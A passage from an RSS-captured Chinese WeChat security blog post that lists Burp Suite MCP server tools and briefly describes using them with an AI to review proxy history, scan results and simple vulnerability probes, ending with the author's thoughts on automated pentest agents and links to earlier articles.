initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_scanner_issues</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">generate_collaborator_payload</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_collaborator_interactions</span></code></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="5"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">历史与 Organizer 查询</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_proxy_http_history</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_proxy_http_history_regex</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_proxy_websocket_history</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_proxy_websocket_history_regex</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_organizer_items</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_organizer_items_regex</span></code></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="6"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">Burp 状态控制</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">set_task_execution_engine_state</span></code><p><span leaf="">（暂停/恢复任务执行）</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">set_proxy_intercept_state</span></code><p><span leaf="">（开关 Intercept）</span></p></li></ul><ol style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: decimal;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1" start="7"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><strong style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-weight: bolder;"><span leaf="">编辑器内容</span></strong></li></ol><ul style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;list-style: disc;margin-block: 9.75px;color: rgb(47, 47, 47);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Noto Sans&#34;, Ubuntu, Cantarell, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-inline-start: 1.25rem;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">get_active_editor_contents</span></code></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 231, 235);margin: 3.25px 0px 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;"><code dir="ltr" style="box-sizing: border-box;border-width: 0.5px;border-style: solid;border-color: color(srgb 0.898039 0.905882 0.921569 / 0.44);border-image: none 100% / 1 / 0 stretch;margin: 0px;padding: 0px;outline-color: oklab(0.177624 0.00000809133 0.00000356138 / 0.0803922);cursor: text;user-select: text;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 0.92em;padding-inline: 4.875px;padding-block: 1.625px;border-radius: 5.6px !important;background: none 0% 0% / auto repeat scroll padding-box border-box color(srgb 0.952941 0.956863 0.964706 / 0.8);"><span leaf="">set_active_editor_contents</span></code></li></ul><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">简单地试了一下，使用它去分析history和一些扫描结果还是挺不错的，这样可以省掉不少人工复核的时间。当然也包括一些简单的漏洞探测。如下，让MCP对指定目标进行简单的安全测试，精确度上还是挺不错的。</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002039" data-ratio="0.5370370370370371" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c0a5012c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F72I8gAalpPVxZJSk2d1SPzUWHiafGsIwHXgO97odhTlYAwJnaJMbVqdJdXecuVZGeOFuethwcbX8bMxWxj7fMyevN7PU2IGbXV2DrqLtbo9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">Burp内部工具之间的联调确实也比人工强上不少。</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002036" data-ratio="0.30462962962962964" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f1810573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F72I8gAalpPWl5dd23ricR3QibuZnCgmaZY3XuLdpmjNoY7IYPFlZzEQB4mFsmoe1OLzZEa74VrOtXQibpfeK9O0Tib2etj3Dnkl2lv95pUuKroQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002037" data-ratio="0.33055555555555555" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d6c3e200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPXPHEvC3g0ibgHwNjsnDS7pFLTH6J01gLbm1lWgBnIF81ZpRpFvgU4QGrTOE7HSgT5e5waU4yggCGA4URbdZJrVMa2gTYpvA9JA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf="">整体感觉辅助型测试和验证还是挺不错的。</span></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">一些思考：</span>最近也一直在研究如何有效的自动化渗透，也看了不少大佬分享的渗透测试agent，怎么说呢，痛点确实都挺明显，核心都想在成本最低的情况下取得最全面的结果，比如基于这个Burp MCP，我在想是否可以用一个agent来调用MCP Server对每一个请求进行筛选和分析，另外用自动化程序去点击请求，当然这里又有一个点击全面性的考量，简单页面倒是还好，可能基于标签定位就完全能cover，就怕复杂页面（这块消耗token也老多了，原则上我的想法是能自动化脚本覆盖全面最好，哈哈），好了，这里就不过多聊这些，后续有新的工具或者想法也会分享出来一起研究学习。</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-indent: 2em;margin-bottom: 24px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fbb4529e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499557%26idx%3D1%26sn%3D0d29b1a40e6c5aa235df0aba816c5ce9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>绕过权限</title>
